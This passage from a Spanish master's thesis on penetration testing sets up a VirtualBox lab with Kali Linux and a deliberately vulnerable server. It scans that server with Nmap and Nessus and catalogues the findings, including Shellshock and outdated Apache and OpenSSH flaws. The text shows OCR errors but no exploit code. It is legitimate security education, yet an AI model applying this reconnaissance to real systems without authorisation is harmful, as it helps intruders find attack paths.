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RESUMEN

Los sistemas de la informacion crecen ampliamente en cuanto a cantidad, complejidad,
extensibilidad y conectividad, en los diferentes entornos en los cuales se desarrolla el ser
humano: laboral, transporte, entretenimiento, social, doméstico, etc... Es por este motivo,
que garantizar la seguridad del software sobre los sistemas de la informacion tiene hoy en
dia, y va a tener el futuro, cada vez mayor importancia.

El proceso de pruebas de penetracion [1], también conocido como pentesting, es un
proceso de evaluacion que nos ayuda a verificar si la seguridad informatica implementada
en los sistemas de la informacion, tiene un nivel de proteccion adecuado para evitar, o
mejor dicho minimizar, la existencia de debilidades y vulnerabilidades que puedan
comprometer los principios bdasicos de seguridad conocidos como confidencialidad,
integridad y disponibilidad de los datos (CIA Triad: Confidentiality, Integrity, Availability) [2].

Metasploit [3] es uno de los frameworks mas famosos y comunmente utilizados en el
ambito de la seguridad informatica para la realizacion de pentesting. Es un proyecto de
cédigo abierto que tiene como objetivo la implantacion de médulos destinados a ofrecer a
los usuarios un nivel de abstraccién respecto al cédigo software, o secuencias de comandos
necesarios, dedicados a explotar las posibles vulnerabilidades [4] existentes en un sistema.
Este concepto de explotaciéon de sistemas se conoce como exploit [5] en el campo de la
seguridad informatica.

El propésito de este trabajo es planificar y documentar las diferentes etapas y técnicas
realizadas en un proceso de pentesting, asi como estudiar el framework Metasploit para
integrar y ejecutar los exploits desarrollados.

Empezamos con el escaneo, identificacién y analisis de vulnerabilidades de un sistema
remoto, continuamos con la creacion de un exploit que nos permita tomar ventaja de una
vulnerabilidad para acceder a dicho sistema, sobre el cual examinamos las posibles
acciones de post-explotacién que podemos realizar para intentar tomar control del sistema;
y, finalmente, ofrecemos un conjunto de medidas que ayuden a mitigar los problemas de
seguridad detectados.

Palabras clave: pentesting, vulnerabilidad, exploit
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ABSTRACT

Information systems grow widely in terms of quantity, complexity, extensibility and
connectivity, in the different environments in which the human being develops: work,
transport, entertainment, social, domestic, etc... It is for this reason that ensuring the
software security of the information systems has today, and it will have in the future,
increasing importance.

The penetration testing process, also known as pentesting, is an evaluation process that
help us verify if the software security implemented in the information systems has a correct
level of protection to avoid, or rather minimize, the existence of weakness and vulnerabilities
that may compromise the basic security principles, known as confidentiality, integrity and
availability of data.

Metasploit is one of the most famous and commonly used frameworks in the scope of
software security for pentesting. It is an open source project whose purpose is the
programming of modules intended to offer users a level of abstraction from the software
code, or action command scripts, dedicated to the exploitation of possible vulnerabilities that
exist in a system. This concept of exploiting vulnerabilities in system is known as exploit in
the scope of software security.

The purpose of this work is to plan and document the different phases and techniques
realized in a pentesting process, as well as the study of Metasploit framework to integrate
and execute the developed exploits.

We start with the scanning, identification and analysis of vulnerabilities of a remote
system, we continue with the creation of an exploit that allows us to take advantage of a
vulnerability to access to this system, on which we examine the possible post-exploitation
actions that we can perform to try to take control of the system; then finally, we offer a set of
techniques that help to mitigate the security problems detected.

Keywords: pentesting, vulnerability, exploit
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Capitulo 1: Introduccion

1.1 Motivacion

El proceso de software testing o pruebas de software [6], es un proceso de vital
importancia destinado a la verificacién y validacion de la funcionalidad que ofrece un
servicio o aplicacién software, para determinar si dicho software es defectuoso o contiene
fallos. En simples palabras, es un proceso que nos ayuda a comprobar si una aplicacién o
sistema funciona correctamente.

Las pruebas que se realizan en este proceso pueden dividirse en diferentes categorias o
areas como: pruebas unitarias, pruebas de integracion, pruebas de aceptacion, etc..., si nos
basamos en aspectos funcionales; o pruebas de rendimiento, pruebas de usabilidad,
pruebas de seguridad, etc..., si nos centramos en otros aspectos no funcionales. Donde,
todas ellas en conjunto, y de forma complementaria, estan destinadas a ayudar en el
desarrollo de software de calidad.

Cuando nos centramos en el campo de software security testing o pruebas de seguridad
de software, este proceso esta dirigido a descubrir y verificar si existen debilidades en los
mecanismos de seguridad implementados en los sistemas informaticos. Esta debilidad o
defecto software es lo que se conoce como vulnerabilidad de seguridad, sobre la cual existe
la posibilidad de que una entidad realice un uso indebido, ya sea de forma inconsciente o
malintencionada, que comprometa los principios basicos de seguridad conocidos como
confidencialidad, integridad y disponibilidad de los datos.

Las pruebas de penetracion o pentesting, son pruebas de seguridad destinadas a
determinar la posibilidad o dificultad que tiene una entidad no autorizada, para conseguir
penetrar los controles de seguridad de una organizacion y acceder a sus sistemas de la
informacion. Dicha entidad sin autorizacion ejecuta una primera fase destinada a la
busqueda y analisis de vulnerabilidades, para posteriormente atacar el sistema utilizando
herramientas automatizadas, comandos y métodos manuales, 0 ambas.

Un exploit es la secuencia de software o comandos que puedes utilizar frente a una
vulnerabilidad para tomar ventaja en beneficio propio. Por ejemplo, en el caso de tratar con
vulnerabilidades de tipo SQL Injection, un exploit puede ser la insercion de un comando
SQL en un campo vulnerable para obtener informacion de un servidor sobre el cual no
tenemos ningun tipo de autorizacion de acceso.

Estos exploits pueden ser ejecutados de forma manual por la entidad atacante,
modificando y adecuando sus acciones segun la respuesta del sistema atacado, o pueden
ser ejecutados de forma automatizada mediante herramientas. Siguiendo el ejemplo anterior
tenemos la herramienta SQLmap, y centrandonos en el presente trabajo tenemos la
herramienta Metasploit, sobre la cual vamos a desarrollar e integrar nuestro exploit.
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Debido a esta importancia, el presente trabajo estd realizado con la intencién de
investigar, aprender y documentar, el proceso y la metodologia necesaria para la
verificaciéon y validacion de software y sistemas de calidad; donde nos centramos en el
ambito del software security testing y en la realizacion de pruebas de penetracion.

1.2 Objetivos

El objetivo general del desarrollo de este trabajo consiste en planificar y documentar, la
metodologia necesaria que se debe aplicar sobre un sistema o aplicacién para identificar,
analizar y mitigar posibles vulnerabilidades que comprometan los principios basicos de
seguridad conocidos como confidencialidad, integridad y disponibilidad de los datos. Para
alcanzar este objetivo, el presente documento incluye los detalles realizados a lo largo de
un proceso de pentesting:

e Escanear un sistema vulnerable para obtener un informe o huella, también conocido
como fingerprinting, que representa los procesos y servicios que se encuentran en
ejecucion en dicho sistema. Para ello, utilizamos diferentes herramientas que han sido
desarrolladas por usuarios u organizaciones expertos en la seguridad de sistemas de la
informacion.

e Sobre el informe obtenido, realizar una investigacion y analisis destinado a identificar
las vulnerabilidades existentes en dicho sistema, que pueden suponer los puntos de
entrada sobre los cuales existe la posibilidad de realizar acciones para conseguir una
intrusion en el sistema.

e Estas posibles acciones o exploits a realizar sobre las vulnerabilidades para obtener
beneficio, son agrupados y automatizados para permitir la ejecucion y verificacion de la
explotacion de dichas vulnerabilidades. Lo que incluye adaptar e integrar el exploit
desarrollado en la herramienta Metasploit.

e Una vez se consigue la intrusién en el sistema remoto, se procede a examinar las
posibles acciones que se pueden realizar para conseguir tomar el control de sistema.

e Las vulnerabilidades explotadas seran también analizadas desde el punto de vista de
las posibles mitigaciones existentes y aplicables en el sistema, destinadas a evitar estos
accesos no autorizados. Algunas de las técnicas destinadas a la mitigacion de las
vulnerabilidades, son verificadas mediante la ejecucion del médulo de Metasploit
desarrollado para la comparacion de resultados.
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1.3 Planificacion

1.3.1 Listado de tareas

A continuacion se enumeran las tareas y las etapas seguidas a lo largo de la
investigacion y elaboracion del presente trabajo:

e Plan de trabajo

o Recopilacion y lectura de documentacion
Definicion del contexto y resumen inicial
Motivacion personal y definicién de objetivos
Identificacién, definicion y planificacion de tareas
Deteccion y evaluacion de riesgos
Creacion del Cronograma de trabajo

O O O O O

e Configuracion del entorno
o Instalacion de sistema Kali Linux
o Instalacion y documentacién de herramientas utilizadas

e Fingerprinting sobre el sistema vulnerable
o Listado de tecnologias y servicios
o Analisis y documentacién de vulnerabilidades

e Explotacion de vulnerabilidades
o ldentificacién y analisis del vector de ataque
o Explotacién y acceso al sistema
o Integracion en Metasploit

e Post-Explotacion
o Estudio de Dirty COW
o Ejecucion y escalada de privilegios en el sistema

e Mitigaciones
o Estudio de mitigaciones y defensa en profundidad
o Técnicas para la mitigacion de las vulnerabilidades detectadas

e Conclusiones
e Documentacion final

o Revision y finalizacion de la memoria
o Preparacion de la defensa
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1.3.2 Deteccion y evaluacion de riesgos

Existen una serie de riesgos en relacion a las tareas definidas que pueden ocasionar la
demora temporal de la planificacion establecida, o interferir en el correcto cumplimiento de
los objetivos del presente trabajo:

e Riesgo 1: Problemas en la explotacion del sistema

Existe la posibilidad de encontrar trabas a la hora de identificar los comandos o software
necesario, para realizar la explotacién de los procesos y servicios vulnerables del sistema.

Para mitigar y evitar que la importancia del riesgo actual se vea acrecentada, debera
enfocarse correctamente la etapa de fingerprinting, andlisis y recopilacién de
documentacién sobre los procesos y servicios del sistema, y sus posibles vulnerabilidades.

e Riesgo 2: Elaboracion escasa de la memoria

Existe la posibilidad de encontrar falta de tiempo en la redacciéon de la memoria, lo que
puede suponer que los conocimientos adquiridos y objetivos realizados no sean expuestos
de forma clara y concisa.

Para mitigar este riesgo es necesario actualizar el contenido de la memoria a medida que
las investigaciones producen resultado. La documentacion de las tareas incluiran la
correccion del contenido en base a las sugerencias del profesorado y los nuevos resultados
obtenidos.
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1.3.3 Diagrama de Gantt

N°  Actividad Duracion Inicio Fin

1 PEC 1 - Plan de trabajo 19 dias 20/02/2020 09/03/2020
1.1 Recopilacién y lectura de documentacion 5 dias 20/02/2020 24/02/2020
1.2 Contexto y resumen inicial 3 dias 25/02/2020 27/02/2020
1.3 Motivacién y definicién de objetivos 5 dias 28/02/2020 03/03/2020
1.4 Planificacion de tareas y creacion del cronograma de trabajo 5 dias 04/03/2020 08/03/2020
1.5 Deteccion y evaluacion de riesgos 2 dias 07/03/2020 08/03/2020
1.6 Entrega - Plan de trabajo 1 dia 09/03/2020 09/03/2020
2 PEC 2 - Deteccidn y analsis de vulnerabilidades 19 dias 12/03/2020 30/03/2020
2.1 Configuracién e instalacién de entorno y herramientas 4 dias 12/03/2020 15/03/2020
2.2 Fingerprinting y listado de servicios 6 dias 16/03/2020 21/03/2020
2.3 Andlisis y documentacion de vulnerabilidades 8 dias 22/03/2020 29/03/2020
2.4 Entrega - Deteccion y analsis de vulnerabilidades 1 dia 30/03/2020 30/03/2020
3 PEC 3 - Explotacion y Post-Explotacion de vulnerabilidades 38 dias 01/04/2020 08/05/2020
3.1 Identificacion y analisis del vector de ataque 4 dias 01/04/2020 04/04/2020
3.2 Explotacion y acceso remoto al sistema 6 dias 05/04/2020 10/04/2020
3.3 Integracion en Mestasploit 16 dias 11/04/2020 26/04/2020
3.4 Estudio de Dirty COW 5 dias 27/04/2020 01/05/2020
3.5 Post-Explotacion sobre el sistema 6 dias 02/05/2020 07/06/2020
3.6 Entrega - Explotacion y Post-Explotacion de vulnerahilidades 1 dia 08/05/2020 08/05/2020
4 PEC 4 - Mitigaciones y conclusién 17 dias 09/05/2020 25/05/2020
4.1 Estudio de mitigaciones y defensa en profundidad 8 dias 09/05/2020 16/05/2020
4.2 Técnicas para la mitigacién de las vulnerabilidades detectadas 7 dias 17/05/2020 23/05/2020
4.3 Conclusiones y resolucion de objetivos 1 dia 24/05/2020 24/05/2020
4.4 Entrega - Mitigaciones y conclusion 1 dia 25/05/2020 25/05/2020
5  Memoria final TFM 10 dias 26/05/2020 04/06/2020
5.1 Revision y finalizacion de la memoria 9 dias 26/05/2020 03/06/2020
5.2 Entrega - Memoria final TFM 1 dia 04/06/2020 04/06/2020
6 Defensa TFM - Presentacién y video 7 dias 05/06/2020 11/06/2020
6.1 Elaboracion de la presentacion 3 dias 05/06/2020 07/06/2020
6.2 Elaboracion del video 3 dias 08/06/2020 10/06/2020
6.3 Entrega - Presentacion y video para la defensa del TFM 1 dia 11/06/2020 11/06/2020

Imagen 1.1. Tabla de planificacion de tareas.
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Capitulo 2: Deteccion de vulnerabilidades

En este capitulo describimos la etapa inicial de un proceso de pentesting, la cual nos va
a ayudar a tomar decisiones respecto a las acciones necesarias que debemos realizar en
las siguientes etapas de explotacién y post-explotacion, para lograr acceder a un sistema
vulnerable con éxito.

Esta etapa, que a su vez se puede dividir en diferentes fases, esta destinada al
reconocimiento del sistema o aplicacion software objetivo mediante el escaneo e
identificacion de procesos y servicios. Empezamos por recopilar toda la informacién que
seamos capaces de obtener sobre un sistema, para posteriormente realizar un analisis
destinado a detectar vulnerabilidades existentes que potencialmente nos permitan explotar
la seguridad de un sistema.

2.1. Entorno y arquitectura de trabajo

La realizacién del presente trabajo requiere de la preparacion de un entorno con un
protocolo de comunicaciones habilitado, en el cual vamos a virtualizar tanto la maquina
vulnerable sobre la cual vamos a realizar las pruebas de penetraciéon, como un segundo
sistema que contiene herramientas enfocadas a la realizacion de dichas pruebas.

2.1.1. VirtualBox

VirtualBox [7] es una herramienta de virtualizacion que nos permite ejecutar y comunicar,
en una red simulada, diferentes sistemas operativos desde una maquina anfitrion, en
nuestro caso Windows 10. Hemos utilizado la versién 5.2.18 para crear la maquina virtual
que contiene el servidor vulnerable, y una segunda maquina virtual que contendra nuestro
sistema utilizado como entorno de apoyo para el proceso de pentesting.

Existen diferentes formas de configurar los adaptadores de red virtualizados que ofrece
VirtualBox para comunicar las diferentes maquinas virtuales. En nuestro caso creamos una
red NAT interna a la cual asignamos el rango de direcciones IP 192.168.100.0/24 con el
protocolo DHCP habilitado, esta misma red sera la asignada a la maquinas virtuales
creadas para permitir la comunicacién de los dos entornos necesarios [8, 9].

Las direcciones IP asignadas por DHCP vy utilizadas a lo largo del presente trabajo son:

- Sistema vulnerable : 192.168.100.5
- Kali Linux : 192.168.100.4

12
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Sistema L
Vulnerable Kali Linux
DHCP IP: 192.168.100.5 DHCP IP: 192.168.100.4

NAT network: UOC_Network
CIDR IP: 192.168.100.0/24

<>

R

AN
\ Host: Windows 10 /

Imagen 2.1. Entorno de trabajo configurado mediante VirtualBox.

2.1.2. Kali Linux

El sistema Kali Linux [10] es una distribucién de Linux basada en Debian que contiene
varios cientos de herramientas orientadas a diversas tareas en el ambito de la seguridad
informatica, como pruebas de penetracién, analisis forense o ingenieria inversa. Kali Linux
es desarrollado, mantenido y financiado por Offensive Security [11], una compafiia lider en
la seguridad de los sistemas de la informacion.

Kali Linux sigue un modelo de cédigo abierto y su rama de desarrollo esta disponible en
un repositorio git publico, de esta forma todo el mundo es capaz de analizarlo y modificarlo
segun sus necesidades. A su vez, todas las herramientas instaladas por defecto en esta
distribucion, siguen la politica de libre distribucion y de codigo abierto, las cuales, ademas,
mantienen una posicion de uso destinadas a hacking ético, ya que no se incluyen
herramientas potencialmente peligrosas y enfocadas a dafar un sistema o servicio como
puede ser el caso de los ataques DDoS.

El compromiso y reputacién en cuanto a desarrollo y mantenimiento de un software
legitimo de codigo abierto, destinado a colaborar con la comunidad de la seguridad
informatica, es el motivo principal por el cual se ha elegido Kali Linux como sistema para la
realizacion de las pruebas de pentesting. La version utilizada es la numero 2020.7 y el
kernel actualizado corresponde a la distribucion Debian 5.4.19-1kali1 para sistemas de 64
bits.

13
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ﬁ KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

oo Applications  Places [ Terminal Mar29 05:32

] + root @kali: ~

i~# uname -a
Linux kali 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kalil (2020-82-17) x86_64 GNU/Linux
:-# cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2020.1"
VERSION_ID="2820.1"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
e

Imagen 2.2. Distribucion de Kali Linux utilizada.

Cabe sefalar que, para realizar las pruebas de penetracion descritas en el presente
trabajo, no es necesario utilizar especificamente el sistema Kali Linux, ya que las
herramientas utilizadas disponen de versiones funcionales para otras distribuciones Linux, o
para otros sistemas operativos como Windows.

2.1.3. Sistema vulnerable

El sistema vulnerable virtualizado sobre el cual vamos a realizar el proceso de
pentesting, es una distribucion Linux preparada por hackersClub Academy [12] que contiene
una serie de servicios y procesos con diferentes vulnerabilidades y debilidades. El sistema
ha sido obtenido mediante una imagen ISO, el cual ha sido configurado en maquina virtual
con la correspondiente asignacion de la red NAT interna previamente configurada en
VirtualBox. La direccion IP otorgada automaticamente mediante DHCP para el presente
sistema es 7192.168.100.5, sobre la cual ejecutaremos las herramientas necesarias para las
acciones de escaneo y explotacién de vulnerabilidades.

14
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D UOC_TFM_hca [Corriendo] - Oracle VM VirtualBox — ] X

Archivo Maquina Ver Entrada Dispositivos Ayuda

~

http://www.hackersclubacademy.com
http:~-~hackersclub.academy

hcaPhackersClub: ™5 ifconfig eth®
etho Link encap:Ethernet HWaddr 08:00:27:8B9:EA:73
inet addr:192.168.100.5 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 HMetric:1
Rx packets:3 errors:0 dropped:0 overruns:0 frame:0
TX packetz:Z2 errors:0@ dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:1000
RX bytes:1240 (1.2 KiB) Tx bytes:689 (689.9 B)
Interrupt:9 Base address:0xd0Z20

hcaPhackersClub:™5 whoami
hca
hcaPhackersClub: ™95

G @b o L i {3 @ (¥) BLog NUM

Imagen 2.3. Sistema vulnerable virtualizado.

2.2. Identificacion de vulnerabilidades

2.2.1. Fingerprinting

El término fingerprinting [13] tiene el significado de huella digital. Asi como en el mundo
fisico las huellas dactilares de los seres humanos pueden ser utilizadas para identificar a las
diferentes personas por su propiedades inmutables y diversiformes, en el ambito de la
seguridad informatica el término de fingerprinting hace referencia al conjunto de informacion
que se puede utilizar para identificar una aplicacion software, protocolo de red, sistema
operativo o dispositivo hardware.

Es por ello que la fase fingerprinting se conoce en el ambito de la seguridad informatica,
como una fase destinada a la recopilacion de informacion e identificacion de los servicios de
un sistema, lo que permite el posterior analisis de vulnerabilidades. Para ello, se hacen uso
de técnicas que incluyen el lanzamiento de escaneres activos o pasivos, destinados a
reconocer cuales son los servicios y protocolos software, ademas de sus versiones
especificas, que estan en ejecucion en un sistema.
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2.2.2. Herramientas utilizadas

Para el lanzamiento de los escaneres necesarios utilizamos una de las herramientas
open source disponibles en nuestra maquina Kali Linux, y una version gratuita de una
herramienta comercial muy conocida en el ambito de la seguridad informatica.

A medida que recopilamos informacion mediante el lanzamiento de las herramientas, e
identificamos los servicios y versiones existentes en el sistema vulnerable, es necesario
ajustar las configuraciones predeterminadas para realizar escaneres mas exhaustivos, y asi
aumentar la posibilidad de detectar vulnerabilidades especificas en ciertos servicios.

2.2.2.1. Nmap

Network Mapper [14] (Nmap, en espafol, mapeador de red) es una herramienta de
codigo abierto destinada a descubrir e identificar qué servicios (nombre, version y puerto en
ejecucion de la aplicacion), sistemas operativos, filtrado de paquetes y otra docenas de
caracteristicas, utilizan los dispositivos existentes de una red informatica. Es ampliamente
utilizada en el ambito de la seguridad informatica, pero también para tareas relacionadas
con la administracién de redes.

Esta herramienta utiliza los protocolos ARP e ICMP para el descubrimiento de hosts,
envia paquetes TCP y UDP a los diferentes puertos de cada host para comprobar la
respuesta emitida y determinar si un puerto esta abierto, cerrado o filtrado; y detecta qué
servicio se encuentra en ejecucion en cada puerto mediante técnicas como Banner
grabbing, donde ciertos servicios se identifican ellos mismos para facilitar las
comunicaciones, o comparando la huella digital de los servicios con la informacién de su
base de datos [16, 17].

El Nmap Scripting Engine [15] (NSE, en espanol, motor de secuencias de comandos de
Nmap) es una de las caracteristicas mas potentes y flexibles, que permite a los usuarios
escribir y compartir secuencias de comandos automatizadas destinadas a la identificaciéon
de servicios, a ejecutar tareas como la deteccion de vulnerabilidades o incluso para la
explotaciéon de dichas vulnerabilidades.

Nmap ya viene instalada por defecto en el sistema Kali Linux en el momento de la
realizacién del presente trabajo, la version especifica es la 7.80.
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E KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda
33 Applications Places G Terminal Mar29 06:49

:~# nmap -v
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 06:49 EDT

Read data files from: fusr/bin/../share/nmap
WARNING: No targets were specified, so @ hosts scanned.
Nmap done: @ IP addresses (@ hosts up) scanned in 0.08 seconds
Raﬁ packets sent: @ (@B) | Rcvd: @ (0B)
H

Imagen 2.4. Version de Nmap utilizada.

2.2.2.2. Nessus

Nessus [18] es una herramienta de la compafia Tenable destinada al escaner de
vulnerabilidades. A diferencia de la herramienta Nmap, esta aplicacion no es de distribucion
libre y gratuita, por lo que no viene instalada por defecto en el sistema Kali Linux utilizado.
Sin embargo, si dispone de versiones de uso limitado en cuanto a numero de posibles
direcciones a escanear, o versiones gratuitas con propdsitos educativos para centros de
ensefanza.

Utilizando la opcion de una version limitada completamos el formulario requerido de
activacion, y seleccionamos el paquete de instalacién con la version mas reciente de la
herramienta que sea compatible con los sistemas Debian de 64 bits
Nessus-8.91-debian6_amd64.deb. Una vez instalada, podemos acceder mediante el
navegador web, donde es necesario introducir el codigo de activacién obtenido por correo
electronico para finalmente tener acceso a las funcionalidades de Nessus.

il KaliLinux [Corriendo] - Oracle VM VirtualBox - u: X
Archivo Maquina Ver Entrada Dispositivos Ayuda

5  Applications  Places &) FirefoxESR Mar29 12:30
Nessus Essentials / Folders / View Scan - Mozilla Firefox

Nessus Essentials /Fole: X+

c @ D& localhost:
KaliLinix ~ KallTraining ~ KaliTools ~ KaliDocs ~ KaliForums ~ NetHunter [ OffensiveSecurity  Exploit-DB & GHDB f MSFU @ Nes:

© Poliies Host Vunerabiities Sean Dotails
]

2 6205 =

7AM
End March 18 at 4:13 AM
Elapsed: 2 minutes

Vulnerabilities

:

Imagen 2.5. Interfaz web ofrecida por Nessus.
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2.3. Analisis de vulnerabilidades

2.3.1. Listado y evaluacién de servicios

Con una ejecucion basica de las herramientas Nmap y Nessus sobre la direccion IP del
sistema vulnerable, podemos detectar la existencia de dos puertos abiertos que ofrecen un
servicio SSH y otro servicio HTTP (aplicacion web):

Puerto Servicio Version
22/ TCP SSH OpenSSH 7.2 (protocol 2.0)
80/TCP HTTP Apache httpd 2.2.21 ((Unix) DAV/2)

El sistema operativo detectado por Nmap corresponde a una version kernel de Linux
derivada de alguna versién entre: Linux 3.2 - 4.9. Por otro lado, la herramienta Nessus
enumera cuatro posibles versiones de Linux: Linux Kernel 3.10, Linux Kernel 3.13, Linux
Kernel 4.2 y Linux Kernel 4.8.

Para verificar la existencia de dichos servicios podemos realizar una peticién de conexion
SSH con una terminal de comandos, y utilizar un navegador web desde nuestro sistema Kali
Linux sobre la direccion IP de la maquina vulnerable.

2.3.2. Identificacion y documentacion de vulnerabilidades

A continuacion vamos a listar las vulnerabilidades de riesgo medio, alto y critico,
detectadas por la herramienta Nessus junto a las respectivas configuraciones utilizadas.
También se comenta la logica sobre las decisiones tomadas a la hora de preparar estas
configuraciones, en base a los servicios y versiones detectados anteriormente.

e Escaner basico, Nessus:

Vulnerabilidad 11213 - HTTP TRACE / TRACK Methods Allowed

Resumen Las funciones de depuracion estan habilitadas en el servidor web
remoto.

Descripcion El servidor web remoto admite los métodos TRACE / TRACK,
meétodos HTTP que se utilizan para depurar conexiones de servidores
web.

Riesgo Medio CVSS v3.0 5.3

CVE CVE-2003-1567
CVE-2004-2320
CVE-2010-0386
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e Escaner del servidor web potencialmente vulnerable a Shellshock, Nessus y Nmap:

La busqueda en Internet sobre el servidor web utilizado en el sistema vulnerable, nos
lleva a localizar una cantidad de vulnerabilidades bastante superior a la indicada por el
escaner basico de Nessus, y, ademas, una referencia a una vulnerabilidad denominada
Shellshock [19, 22]. Es por ello, que es necesario preparar otros dos tipos de escaneres
especificos, enfocados a servidores web y potenciales entornos vulnerables a Shellshock.

Al igual que en el escaner basico realizado anteriormente, se ha detectado de nuevo la
vulnerabilidad: 11213 - HTTP TRACE / TRACK Methods Allowed. A continuacion se listan
las nuevas vulnerabilidades detectadas.

Vulnerabilidad 85582 - Web Application Potentially Vulnerable to Clickjacking

Resumen El servidor web remoto puede fallar al intentar mitigar una clase de
vulnerabilidad perteneciente a aplicaciones web.

Descripcion El servidor web remoto no establece un encabezado de respuesta
X-Frame-Option o un encabezado de respuesta de 'frameancestors'
de Content-Security-Policy. Esto puede potencialmente exponer el
sitio web a un ataque de clickjacking lo que puede suponer que el
usuario realice transacciones fraudulentas o maliciosas.

Riesgo Medio CVSS2 4.3

XREF CWE:693

Vulnerabilidad 77829 - GNU Bash Environment Variable Handling Code Injection
(Shellshock)

Resumen El servidor web remoto esta afectado por una vulnerabilidad que
permite la ejecucion remota de codigo.

Descripcion El servidor web esta afectado por una vulnerabilidad que permite la
inyeccion de comandos GNU Bash conocida como Shellshock. La
vulnerabilidad se debe al procesamiento de cadenas finales después
de la definiciéon de funciones en los valores de las variables de
entorno. Esto permite a un atacante remoto ejecutar codigo arbitrario a
través de la manipulacion de variables de entorno dependiendo de la
configuracién del sistema.

Riesgo Critico CVSS v3.0 9.8

CVE CVE-2014-6271
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Vulnerabilidad 82581 - GNU Bash Incomplete Fix Remote Code Injection
(Shellshock)

Resumen El servidor web remoto esta afectado por una vulnerabilidad que
permite la ejecucion remota de codigo.

Descripcion El servidor web esta afectado por una vulnerabilidad que permite la
inyeccion de comandos GNU Bash conocida como Shellshock. La
vulnerabilidad se debe al procesamiento de cadenas finales después
de la definicion de funciones en los valores de las variables de
entorno. Esto permite a un atacante remoto ejecutar codigo arbitrario a
través de la manipulacion de variables de entorno dependiendo de la
configuracion del sistema.

Esta vulnerabilidad existe debido a que el parche preparado para la
vulnerabilidad anterior (CVE-2014-6271) se encontraba incompleto.

Riesgo Critico CVSS v3.0 9.8

CVE CVE-2014-6278

Como hemos mencionado anteriormente, la herramienta Nmap dispone de un motor
denominado NSE que permite la ejecucion de scripts para complementar la identificacion de
servicios y vulnerabilidades. Para la vulnerabilidad Shellshock existe un script especifico
denominado “http-shellshock” [24] el cual puede ser ejecutado para verificar la existencia de
dicha vulnerabilidad.

e Escaner con modo paranoia, Nessus:

Hemos encontrado una vulnerabilidad critica y documentada sobre el servidor web que
nos va a permitir acceder de forma remota al sistema en la etapa de explotacion. Sin
embargo, podemos comprobar que no se han detectado tantas vulnerabilidades como se
esperaba sobre el servidor web, y que Nessus no ha detectado ninguna de las
vulnerabilidades existentes respecto al servicio OpenSSH v7.2 [20].

En ocasiones Nessus no es capaz de determinar sobre sistemas remotos si existe de
forma precisa una vulnerabilidad [25, 26]. Si el modo paranoia no esta habilitado en la
realizacion de los escaneres, en caso de tener incertidumbre a la hora de decidir si existe
una vulnerabilidad, Nessus no la incluira en el informe. Por otro lado, si el modo paranoia
esta habilitado, se informara acerca de estas potenciales vulnerabilidades aunque estas
puedan llegar a suponer falsas alarmas.

Para la obtencion de las siguientes vulnerabilidades, potencialmente existentes y no
verificadas, realizamos un nuevo escaner habilitando el modo paranoia. A continuacion se
listan aquellas vulnerabilidades de riesgo Alto, mientras que las vulnerabilidades de riesgo
medio seran incluidas en los Anexos del presente trabajo.
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Vulnerabilidad 34460 - Unsupported Web Server Detection
Resumen El servidor web remoto esta obsoleto y no dispone de soporte.
Descripcion Acorde la version, el servidor web remoto esta obsoleto y su

proveedor ya no realiza tareas de mantenimiento.

La falta de soporte implica que el proveedor no lanzara nuevos
parches de seguridad para el producto. Como resultado, puede
contener vulnerabilidades de seguridad.

Riesgo Alto CVSS v3.0 10
Vulnerabilidad 77531 - Apache 2.2.x < 2.2.28 Multiple Vulnerabilities
Resumen El servidor web remoto esta afectado por multiples vulnerabilidades.
Descripcion El servidor Apache es anterior a la versién 2.2.28, por lo tanto, se

puede ver afectado por las siguientes vulnerabilidades:

- Existen un error en el médulo “mod_headers” que permite a un
atacante remoto inyectar cabeceras arbitrarias (CVE-2013-5704).

- Existe un error en el médulo “mod_deflate” que permite a un
atacante remoto crear una solicitud disefiada para causar una
denegacion de servicio agotando la memoria y recursos CPU
(CVE-2014-0118).

- El médulo “mod_status” tiene una vulnerabilidad de condicién de
carrera, que puede permitir a un atacante remoto causar una
denegacion de servicio, ejecutar codigo arbitrario u obtener
informacion confidencial de credenciales (CVE-2014-0226).

- El médulo “mod_cgid” carece de mecanismos de tiempos de espera,
lo que puede permitir a un atacante causar una denegacion de
servicios (CVE-2014-0231).

Riesgo Alto CVSSv3.0 7.3

CVE CVE-2013-5704
CVE-2014-0118
CVE-2014-0226
CVE-2014-0231

Vulnerabilidad 100995 - Apache 2.2.x < 2.2.33-dev Multiple Vulnerabilities
101787 - Apache 2.2.x < 2.2.34 Multiple Vulnerabilities
Resumen El servidor web remoto esta afectado por multiples vulnerabilidades.
Descripcion El servidor Apache es anterior a la versién 2.2.33-dev, por lo tanto, se

puede ver afectado por las siguientes vulnerabilidades:
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- Existe una vulnerabilidad de omisién de autenticacién debido a un
modulo de terceras partes que utilizan la funcion
ap_get_basic_auth_pw(). Un atacante remoto no autenticado puede
explotarla para evitar los requisitos de autenticacién (CVE-2017-3167).

- Existe un Null pointer error en el médulo de terceras partes
ap_hook_process_connection(). Un atacante remoto no autenticado
puede explotarlo para causar una denegacioén de servicio
(CVE-2017-3169).

- Existe un error en la funcion ap_find_token() debido a un manejo
incorrecto de las secuencias de encabezado. Un atacante remoto
puede explotarlo para causar una denegacion de servicio
(CVE-2017-7668).

- Existe un error en el médulo “mod_mime” debido al manejo
inadecuado del encabezado Content-Type. Un atacante remoto puede
explotarlo para causar una denegacion de servicio (CVE-2017-7679).

- Existe una vulnerabilidad de denegacién de servicio en httpd en el
modulo “mod_auth_digest”. Un atacante remoto no autenticado puede
explotarlo proporcionando una clave inicial sin valor, ademas de poder
revelar informacién confidencial (CVE-2017-9788).

Riesgo Alto CVSS v3.0 9.8

CVE CVE-2017-3167
CVE-2017-3169
CVE-2017-7668
CVE-2017-7679
CVE-2017-9788

Vulnerabilidad 93194 - OpenSSH < 7.3 Multiple Vulnerabilities
Resumen El servidor SSH esta afectado por multiples vulnerabilidades.
